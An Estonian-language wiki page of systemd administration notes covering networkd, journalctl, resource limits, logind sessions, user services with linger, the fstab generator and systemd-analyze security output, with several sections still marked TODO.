 # cat /etc/systemd/network/50-static.network &lt;br /&gt;
 [Match]&lt;br /&gt;
 Name=host0&lt;br /&gt;
 &lt;br /&gt;
 [Network]&lt;br /&gt;
 Address=192.168.10.16/24&lt;br /&gt;
 Gateway=192.168.10.254&lt;br /&gt;
&lt;br /&gt;
* /etc/network/interfaces failis kirjeldada vaid lo seade&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/network/interfaces&lt;br /&gt;
 source /etc/network/interfaces.d/*&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
* võrgu käivitamiseks öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl start systemd-networkd&lt;br /&gt;
&lt;br /&gt;
* ipv4 ja ipv6 aadressi seadistamiseks&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 [Network]&lt;br /&gt;
 Gateway=192.168.10.254&lt;br /&gt;
 &lt;br /&gt;
 [Address]&lt;br /&gt;
 Address=192.168.10.16/24&lt;br /&gt;
 &lt;br /&gt;
 [Address]&lt;br /&gt;
 Address=110:1/64&lt;br /&gt;
&lt;br /&gt;
===Konsooli alglaadimisjärgse puhastamise lõpetamine===&lt;br /&gt;
&lt;br /&gt;
Järgneva töötamise eelduseks on /etc/default/grub failis &amp;quot;quiet&amp;quot; eemaldamine, vt man systemd -&amp;gt; ShowStatus 'Defaults to enabled, unless quiet is passed as kernel command line option, in which case it defaults to error.' Alternatiiv on kasutada kernel argumenti 'systemd.show_status=1'.&lt;br /&gt;
&lt;br /&gt;
Viisakas variant&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# systemctl edit getty@tty1&lt;br /&gt;
..&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
TTYVTDisallocate=no&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vulgaarsem variant&lt;br /&gt;
&lt;br /&gt;
 # mkdir /etc/systemd/system/getty@tty1.service.d&lt;br /&gt;
 # cat /etc/systemd/system/getty@tty1.service.d/noclear.conf&lt;br /&gt;
 [Service]&lt;br /&gt;
 TTYVTDisallocate=no&lt;br /&gt;
&lt;br /&gt;
Ja järgmisel alglaadimisel enam ekraani ei puhastata&lt;br /&gt;
&lt;br /&gt;
 # reboot&lt;br /&gt;
&lt;br /&gt;
NB! Selleks, et tuuma teateid oleks näha tuleb lisaks GRUB2 seadistusfailis kasutada rida&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/default/grub&lt;br /&gt;
 ..&lt;br /&gt;
 GRUB_CMDLINE_LINUX_DEFAULT=&amp;quot;&amp;quot;&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
ning öelda&lt;br /&gt;
&lt;br /&gt;
 # update-grub&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://mywiki.wooledge.org/SystemdNoClear&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Systemd_FAQ&lt;br /&gt;
&lt;br /&gt;
===journalctl kasuamine===&lt;br /&gt;
&lt;br /&gt;
Bootimisest alates antud logi sissekannete esitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # journalctl -b&lt;br /&gt;
&lt;br /&gt;
Selleks, et näha erinevate bootimiskordade logi tuleb öelda&lt;br /&gt;
&lt;br /&gt;
 # mkdir /var/log/journal&lt;br /&gt;
 # sed -ri s/^#Storage=auto/Storage=persistent/ /etc/systemd/journald.conf&lt;br /&gt;
&lt;br /&gt;
tulemusena saab nimekirja vaadata&lt;br /&gt;
&lt;br /&gt;
 # journalctl --list-boots&lt;br /&gt;
&lt;br /&gt;
ning konkreetse korra sissekandeid nt&lt;br /&gt;
&lt;br /&gt;
 # journalctl -b -2&lt;br /&gt;
&lt;br /&gt;
Uniti vms logi follow režiimis esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # journalctl -n 20 -f -u ssh&lt;br /&gt;
&lt;br /&gt;
===Systemd debugimine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://freedesktop.org/wiki/Software/systemd/Debugging/&lt;br /&gt;
&lt;br /&gt;
===Ressursikasutuse kontrollimine===&lt;br /&gt;
&lt;br /&gt;
 # grep -v &amp;quot;^#&amp;quot; /etc/systemd/system.conf&lt;br /&gt;
 &lt;br /&gt;
 [Manager]&lt;br /&gt;
 DefaultCPUAccounting=yes&lt;br /&gt;
 DefaultBlockIOAccounting=yes&lt;br /&gt;
 DefaultMemoryAccounting=yes&lt;br /&gt;
&lt;br /&gt;
 # systemctl set-property nginx.service MemoryLimit=10M&lt;br /&gt;
&lt;br /&gt;
===systemd-run===&lt;br /&gt;
&lt;br /&gt;
 $ systemd-run --user --unit=limit-test.scope --scope -p MemoryAccounting=yes -p MemoryLimit=2M bash&lt;br /&gt;
&lt;br /&gt;
 $ systemctl show --user limit-test.scope | grep Mem&lt;br /&gt;
 MemoryAccounting=yes&lt;br /&gt;
 MemoryLimit=2M&lt;br /&gt;
&lt;br /&gt;
või&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemd-run --user --scope -p MemoryMax=10M -p MemorySwapMax=0 bash&lt;br /&gt;
Running as unit: run-p10909-i11209.scope; invocation ID: d3b7a7cc8af2431282ac1e1e7d469e2a&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# python3 -c 'a = &amp;quot;x&amp;quot; * 20 * 1024 * 1024'&lt;br /&gt;
Killed&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===systemd-boot===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.archlinux.org/index.php/systemd-boot&lt;br /&gt;
&lt;br /&gt;
===systemd-logind===&lt;br /&gt;
&lt;br /&gt;
====Mõisted====&lt;br /&gt;
&lt;br /&gt;
* seat&lt;br /&gt;
* session&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Kasutaja sisselomisel moodustatakse nö sessioon&lt;br /&gt;
&lt;br /&gt;
* '$ systemd --user ..' - käivitatakse per kasutaja systemd lahendus (seejuurde kuulub systemd-user service'ite käivitamine)&lt;br /&gt;
* '$ busctl lis') - per kasutaja dbus käivitamine (busctl list)&lt;br /&gt;
* '$ lsns' - moodustatakse per kasutaja namespace'ide komplekt (user, mount, pid jne)&lt;br /&gt;
* 'man pam_systemd' - pam kaudu kutsutakse välja kasutajapõhine systemd lahendus&lt;br /&gt;
&lt;br /&gt;
nn linger abil saab kasutaja sessiooni tekitada automaatselt süsteemi algkäivituse käigus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
systemd-logind asendab ConsoleKit lahenduse. nt saab küsida&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# loginctl list-sessions&lt;br /&gt;
   SESSION        UID USER             SEAT             TTY             &lt;br /&gt;
        31          0 root             seat0            /dev/tty2       &lt;br /&gt;
       189       1001 priit            seat0            /dev/tty4       &lt;br /&gt;
         2       1000 imre             seat0                            &lt;br /&gt;
        c5        111 lightdm          seat0                            &lt;br /&gt;
       187       1001 priit            seat0            /dev/tty3       &lt;br /&gt;
        33       1000 imre             seat0                            &lt;br /&gt;
&lt;br /&gt;
6 sessions listed.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Arvuti sees root kasutajana tavakasutaja service nimekirja küsimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl --user -M kasutaja@.host list-units --type=service&lt;br /&gt;
  UNIT             LOAD   ACTIVE SUB     DESCRIPTION&lt;br /&gt;
  dbus.service     loaded active running D-Bus User Message Bus&lt;br /&gt;
  nginx-08.service loaded active running My Nginx Quadlet Service&lt;br /&gt;
  nginx-09.service loaded active running My Nginx 09 Quadlet Service&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kasutaja status küsimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ loginctl user-status&lt;br /&gt;
kasutaja (1000)&lt;br /&gt;
   Since: Sun 2026-04-19 18:59:50 EEST; 1h 15min ago&lt;br /&gt;
   State: active&lt;br /&gt;
Sessions: *69 68&lt;br /&gt;
  Linger: no&lt;br /&gt;
    Unit: user-1000.slice&lt;br /&gt;
          ├─session-69.scope&lt;br /&gt;
          │ ├─3556 &amp;quot;sshd-session: kasutaja [priv]&amp;quot;&lt;br /&gt;
          │ ├─3563 &amp;quot;sshd-session: kasutaja@pts/1&amp;quot;&lt;br /&gt;
          │ ├─3564 -bash&lt;br /&gt;
          │ ├─3883 loginctl user-status&lt;br /&gt;
          │ └─3884 pager&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* linger info - no&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://yakking.branchable.com/posts/systemd-4-logind/&lt;br /&gt;
&lt;br /&gt;
===systemd system service===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===systemd user service===&lt;br /&gt;
&lt;br /&gt;
Kui tavaliselt on kasutusel systemd põhises keskkonnas nn süsteemne systemd halduse lahendus, mis tegeleb teenus-protsessidega, siis systemd user service on selline asjakorraldus, kus sarnane tulemus saavutatakse tavakasutaja tingimustes. Üks võimalik lähtepunkt on, et süsteemi on tavakasutaja abil sisse logitud üle ssh ühes aknas&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# ps U priit&lt;br /&gt;
  20185 ?        Ss     0:00 /usr/lib/systemd/systemd --user&lt;br /&gt;
  20187 ?        S      0:00 (sd-pam)&lt;br /&gt;
  20201 ?        S      0:00 sshd-session: priit@pts/0&lt;br /&gt;
  20202 pts/0    Ss     0:00 -bash&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* sellega kaasneb kasutaja-põhise systemd protsessi töötamine&lt;br /&gt;
&lt;br /&gt;
ja teises aknas asutakse tegutsema&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# su - priit&lt;br /&gt;
priit@pwrk-02:~$ export XDG_RUNTIME_DIR=/run/user/1002&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* systemctl --user ... leiab selle XDG kataloogi suhtes standardsest asukohast systemd user soketi (/run/user/1002/systemd/private)&lt;br /&gt;
&lt;br /&gt;
systemd user service ehk kasutaja-põhine teenus paistab välja selline&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ systemctl --user list-units | grep http&lt;br /&gt;
  bash-http-server.service    loaded active running   Bash Netcat HTTP Microservice&lt;br /&gt;
&lt;br /&gt;
priit@pwrk-02:~$ systemctl --user status bash-http-server.service&lt;br /&gt;
● bash-http-server.service - Bash Netcat HTTP Microservice&lt;br /&gt;
     Loaded: loaded (/home/priit/.config/systemd/user/bash-http-server.service; enabled; preset: enabled)&lt;br /&gt;
     Active: active (running) since Sun 2025-10-12 20:39:01 UTC; 21min ago&lt;br /&gt;
   Main PID: 910 (bash-http-serve)&lt;br /&gt;
      Tasks: 2 (limit: 9410)&lt;br /&gt;
     Memory: 704.0K (peak: 1.4M)&lt;br /&gt;
        CPU: 5ms&lt;br /&gt;
     CGroup: /user.slice/user-1002.slice/user@1002.service/app.slice/bash-http-server.service&lt;br /&gt;
             ├─910 /bin/bash /home/priit/bin/bash-http-server&lt;br /&gt;
             └─913 nc -l -p 5100 -q 1&lt;br /&gt;
&lt;br /&gt;
Oct 12 20:39:01 pwrk-02 systemd[869]: Started bash-http-server.service - Bash Netcat HTTP Microservice.&lt;br /&gt;
&lt;br /&gt;
priit@pwrk-02:~$ curl http://127.0.0.1:5100&lt;br /&gt;
&amp;lt;h1&amp;gt;Hello from the Bash Server Service!&amp;lt;/h1&amp;gt;&amp;lt;p&amp;gt;Running as user: priit&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
vastavad protsessid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# ps U priit&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
    885 ?        Ss     0:00 /usr/lib/systemd/systemd --user&lt;br /&gt;
    889 ?        S      0:00 (sd-pam)&lt;br /&gt;
    923 ?        Ss     0:00 /bin/bash /home/priit/bin/bash-http-server&lt;br /&gt;
    929 ?        S      0:00 nc -l -p 5100 -q 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* haldav protsess (systemd --user) töötab sama kasutajana nagu hallatav protsess (bash-http-server ja nc) - võib olla ei ole see parim isolatsioon&lt;br /&gt;
&lt;br /&gt;
programmi on selline&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ cat /home/priit/bin/bash-http-server&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
# A simple, single-page HTTP server using Netcat&lt;br /&gt;
&lt;br /&gt;
# Port to listen on (high port recommended for unprivileged user)&lt;br /&gt;
LISTEN_PORT=5100&lt;br /&gt;
&lt;br /&gt;
# The HTTP response content&lt;br /&gt;
HTTP_CONTENT=&amp;quot;&amp;lt;h1&amp;gt;Hello from the Bash Server Service!&amp;lt;/h1&amp;gt;&amp;lt;p&amp;gt;Running as user: $(whoami)&amp;lt;/p&amp;gt;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# HTTP headers&lt;br /&gt;
HTTP_RESPONSE=&amp;quot;HTTP/1.1 200 OK\r\n&amp;quot;&lt;br /&gt;
HTTP_RESPONSE+=&amp;quot;Content-Type: text/html\r\n&amp;quot;&lt;br /&gt;
HTTP_RESPONSE+=&amp;quot;Content-Length: ${#HTTP_CONTENT}\r\n&amp;quot;&lt;br /&gt;
HTTP_RESPONSE+=&amp;quot;\r\n&amp;quot;&lt;br /&gt;
HTTP_RESPONSE+=&amp;quot;${HTTP_CONTENT}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Loop forever, listening for connections and serving the response&lt;br /&gt;
while true; do&lt;br /&gt;
    # Use netcat to listen on the port, process one request, and close.&lt;br /&gt;
    # The 'echo' ensures the response is sent back.&lt;br /&gt;
    printf &amp;quot;%b&amp;quot; &amp;quot;$HTTP_RESPONSE&amp;quot; | nc -l -p $LISTEN_PORT -q 1&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
priit@pwrk-02:~$ chmod 0755 /home/priit/bin/bash-http-server&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kasutaja-põhine systemd unit service&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ mkdir -p .config/systemd/user&lt;br /&gt;
priit@pwrk-02:~$ cat .config/systemd/user/bash-http-server.service&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=Bash Netcat HTTP Microservice&lt;br /&gt;
&lt;br /&gt;
After=network-online.target&lt;br /&gt;
Wants=network-online.target&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
ExecStart=/home/priit/bin/bash-http-server&lt;br /&gt;
Restart=always&lt;br /&gt;
RestartSec=5s&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This is typically the correct target for persistent user services&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lülitatakse sisse kasutaja nö lingerdamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
imre@pwrk-02:~$ loginctl enable-linger priit&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
loetakse sisse systemd seadistuse muudatused&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ systemctl --user daemon-reload&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning aktiveeritakse teenus + käivitatakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ systemctl --user enable --now bash-http-server.service&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ootus on, et tulemusena käib teenus, nagu lõigu alguses on esitatud.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Systemd/User&lt;br /&gt;
* https://unix.stackexchange.com/questions/251211/why-doesnt-my-systemd-user-unit-start-at-boot&lt;br /&gt;
* https://www.brendanlong.com/systemd-user-services-are-amazing.html&lt;br /&gt;
&lt;br /&gt;
===journald user logs===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===tmpfiles-setup===&lt;br /&gt;
&lt;br /&gt;
tmpfiles-setup haldab programmide ajutiste jms failide jaoks kataloogide olemasolu eest&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ls -ld /usr/lib/tmpfiles.d/*&lt;br /&gt;
-rw-r--r-- 1 root root  238 Dec  2  2015 /usr/lib/tmpfiles.d/00rsyslog.conf&lt;br /&gt;
-rw-r--r-- 1 root root  153 Dec  2  2015 /usr/lib/tmpfiles.d/dbus.conf&lt;br /&gt;
-rw-r--r-- 1 root root  577 Jul  5 16:56 /usr/lib/tmpfiles.d/debian.conf&lt;br /&gt;
-rw-r--r-- 1 root root  362 Jul 19 02:56 /usr/lib/tmpfiles.d/home.conf&lt;br /&gt;
-rw-r--r-- 1 root root 1098 Jul 19 02:56 /usr/lib/tmpfiles.d/journal-nocow.conf&lt;br /&gt;
-rw-r--r-- 1 root root  812 Jul 19 02:56 /usr/lib/tmpfiles.d/legacy.conf&lt;br /&gt;
-rw-r--r-- 1 root root   61 Apr 16  2016 /usr/lib/tmpfiles.d/lvm2.conf&lt;br /&gt;
-rw-r--r-- 1 root root  239 Feb  5  2016 /usr/lib/tmpfiles.d/passwd.conf&lt;br /&gt;
-rw-r--r-- 1 root root  176 Feb 21  2016 /usr/lib/tmpfiles.d/postgresql.conf&lt;br /&gt;
-rw-r--r-- 1 root root   33 Jun  9  2015 /usr/lib/tmpfiles.d/screen-cleanup.conf&lt;br /&gt;
-rw-r--r-- 1 root root   31 Mar 16  2017 /usr/lib/tmpfiles.d/sshd.conf&lt;br /&gt;
-rw-r--r-- 1 root root  313 Jul  4 10:37 /usr/lib/tmpfiles.d/sudo.conf&lt;br /&gt;
-rw-r--r-- 1 root root 1544 Jul 19 02:56 /usr/lib/tmpfiles.d/systemd.conf&lt;br /&gt;
-rw-r--r-- 1 root root  496 Jul 19 02:56 /usr/lib/tmpfiles.d/systemd-nologin.conf&lt;br /&gt;
-rw-r--r-- 1 root root  637 Jul 19 02:56 /usr/lib/tmpfiles.d/tmp.conf&lt;br /&gt;
-rw-r--r-- 1 root root  532 Jul 19 02:56 /usr/lib/tmpfiles.d/var.conf&lt;br /&gt;
-rw-r--r-- 1 root root  623 Jul 19 02:56 /usr/lib/tmpfiles.d/x11.conf&lt;br /&gt;
-rw-r--r-- 1 root root   41 Aug 16 12:13 /usr/lib/tmpfiles.d/zabbix-agent.conf&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Timer===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-timers&lt;br /&gt;
 NEXT                          LEFT     LAST                          PASSED  UNIT                         ACTIVATES&lt;br /&gt;
 Tue 2017-07-25 06:52:49 EEST  6h left  Mon 2017-07-24 06:49:40 EEST  17h ago apt-daily.timer              apt-daily.service&lt;br /&gt;
 Tue 2017-07-25 10:41:54 EEST  10h left Mon 2017-07-24 10:41:54 EEST  13h ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service&lt;br /&gt;
&lt;br /&gt;
===systemd-fstab-generator===&lt;br /&gt;
&lt;br /&gt;
Paistab, et systemd tekitab automaatselt /etc/fstab sisule vastavad unit failid /run alla, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /run/systemd/generator/var-lib-postgresql.mount &lt;br /&gt;
# Automatically generated by systemd-fstab-generator&lt;br /&gt;
&lt;br /&gt;
[Unit]&lt;br /&gt;
SourcePath=/etc/fstab&lt;br /&gt;
Documentation=man:fstab(5) man:systemd-fstab-generator(8)&lt;br /&gt;
Before=local-fs.target&lt;br /&gt;
Requires=systemd-fsck@dev-system-var_lib_postgresql.service&lt;br /&gt;
After=systemd-fsck@dev-system-var_lib_postgresql.service&lt;br /&gt;
&lt;br /&gt;
[Mount]&lt;br /&gt;
What=/dev/system/var_lib_postgresql&lt;br /&gt;
Where=/var/lib/postgresql&lt;br /&gt;
Type=ext4&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kui fstab sees kirjeldatud LVM voluumi nime jääb samaks, aga UUID muutub (nt olemasolev LVM volüüm kustutada ja tekitada asemele teine) ning öelda&lt;br /&gt;
&lt;br /&gt;
 # mount /var/lib/postgresql&lt;br /&gt;
&lt;br /&gt;
siis failisüsteem monteeritakse ja ühendatakse ka kohe lahti syslog tekstiga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Feb 20 00:57:33 ky-test kernel: [1210006.815639] EXT4-fs (dm-6): mounted filesystem with ordered data mode. Opts: discard&lt;br /&gt;
Feb 20 00:57:33 ky-test systemd[1]: var-lib-postgresql.mount: Unit is bound to inactive unit dev-system-var_lib_postgresql.device. Stopping, too.&lt;br /&gt;
Feb 20 00:57:33 ky-test systemd[1]: Unmounting /var/lib/postgresql...&lt;br /&gt;
Feb 20 00:57:33 ky-test systemd[1]: Unmounted /var/lib/postgresql.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lahenduseks on öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reload&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
* kerneli mooduleid loeb käivitamisel systemd-modules-load&lt;br /&gt;
&lt;br /&gt;
 systemd-modules-load.service&lt;br /&gt;
&lt;br /&gt;
Seadistusfailiks on&lt;br /&gt;
&lt;br /&gt;
 # ls -ld /etc/modules-load.d/modules.conf &lt;br /&gt;
 lrwxrwxrwx 1 root root 10 Oct  9 14:58 /etc/modules-load.d/modules.conf -&amp;gt; ../modules&lt;br /&gt;
&lt;br /&gt;
systemd komponente kasutavas operatsioonisüsteemis töötavad nt sellised protsessid&lt;br /&gt;
&lt;br /&gt;
 # ps aux | grep '/lib/systemd/systemd-'&lt;br /&gt;
 root       173  0.0  0.5  28188  2912 ?        Ss   15:39   0:00 /lib/systemd/systemd-journald&lt;br /&gt;
 root       190  0.0  0.7  44072  4000 ?        Ss   15:39   0:00 /lib/systemd/systemd-udevd&lt;br /&gt;
 systemd+   388  0.0  0.4  97952  2312 ?        Ssl  15:39   0:00 /lib/systemd/systemd-timesyncd&lt;br /&gt;
 root       396  0.0  0.5  28352  2772 ?        Ss   15:39   0:00 /lib/systemd/systemd-logind&lt;br /&gt;
 systemd+   402  0.0  0.5  28504  2892 ?        Ss   15:39   0:00 /lib/systemd/systemd-networkd&lt;br /&gt;
 systemd+  1004  0.0  0.5  31340  2880 ?        Ss   16:00   0:00 /lib/systemd/systemd-resolved&lt;br /&gt;
&lt;br /&gt;
Tundub, et midagi teeb käsk systemd konfi muudatuste kehtestamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reload&lt;br /&gt;
&lt;br /&gt;
Tugevamaks kehtestamiseks või nö jamade lahendamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reexec&lt;br /&gt;
&lt;br /&gt;
===su ja sudo kasutamine===&lt;br /&gt;
&lt;br /&gt;
su/sudo/runuser programmide kasutamisel ei moodustada nö kasutaja keskkonda (environment)&lt;br /&gt;
&lt;br /&gt;
nende asemel annab nö autentsema tulemuse machinectl kasutamine, nt&lt;br /&gt;
&lt;br /&gt;
 # machinectl shell imre@&lt;br /&gt;
&lt;br /&gt;
nt on seejärel käivitatud sellised protsessid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
imre@ph-minio-01:~$ ps U imre&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
   1212 pts/1    Ss     0:00 /bin/bash&lt;br /&gt;
   1216 ?        Ss     0:00 /usr/lib/systemd/systemd --user&lt;br /&gt;
   1218 ?        S      0:00 (sd-pam)&lt;br /&gt;
   1251 pts/1    S      0:00 (sd-pam)&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja väärtustatud mitmesugused XDG keskkonnamuutujad&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ env | grep XDG&lt;br /&gt;
XDG_SESSION_TYPE=tty&lt;br /&gt;
XDG_SESSION_CLASS=user&lt;br /&gt;
XDG_SESSION_ID=29&lt;br /&gt;
XDG_RUNTIME_DIR=/run/user/1000&lt;br /&gt;
XDG_DATA_DIRS=/usr/local/share:/usr/share:/var/lib/snapd/deskto&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===LoadCredentials kasutamine===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# systemctl edit nginx&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
LoadCredential=ssl_key:/etc/ssl/private/nginx.key&lt;br /&gt;
LoadCredential=ssl_cert:/etc/ssl/certs/nginx.crt&lt;br /&gt;
PrivateTmp=yes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===systemd-analyze===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemd-analyze --user security nginx-07&lt;br /&gt;
  NAME                                                        DESCRIPTION                                                             EXPOSURE&lt;br /&gt;
✗ KeyringMode=                                                Service shares key material with other service                               0.2&lt;br /&gt;
  PrivateTmp=                                                 Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  ProtectHome=                                                Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  ProtectSystem=                                              Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  RootDirectory=/RootImage=                                   Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  SupplementaryGroups=                                        Service runs as root, option does not matter                                    &lt;br /&gt;
  RemoveIPC=                                                  Service runs as root, option does not apply                                     &lt;br /&gt;
✗ User=/DynamicUser=                                          Service runs as root user                                                    0.4&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_TIME                         Service processes may change the system clock                                0.2&lt;br /&gt;
✗ NoNewPrivileges=                                            Service processes may acquire new privileges                                 0.2&lt;br /&gt;
✓ AmbientCapabilities=                                        Service process does not receive ambient capabilities                           &lt;br /&gt;
✗ PrivateDevices=                                             Service potentially has access to hardware devices                           0.2&lt;br /&gt;
✗ ProtectClock=                                               Service may write to the hardware clock or system clock                      0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_PACCT                        Service may use acct()                                                       0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_KILL                             Service may send UNIX signals to arbitrary processes                         0.1&lt;br /&gt;
✗ ProtectKernelLogs=                                          Service may read from or write to the kernel log ring buffer                 0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_WAKE_ALARM                       Service may program timers that wake up the system                           0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_(DAC_*|FOWNER|IPC_OWNER)         Service may override UNIX file/IPC permission checks                         0.2&lt;br /&gt;
✗ ProtectControlGroups=                                       Service may modify the control group file system                             0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_LINUX_IMMUTABLE                  Service may mark files immutable                                             0.1&lt;br /&gt;
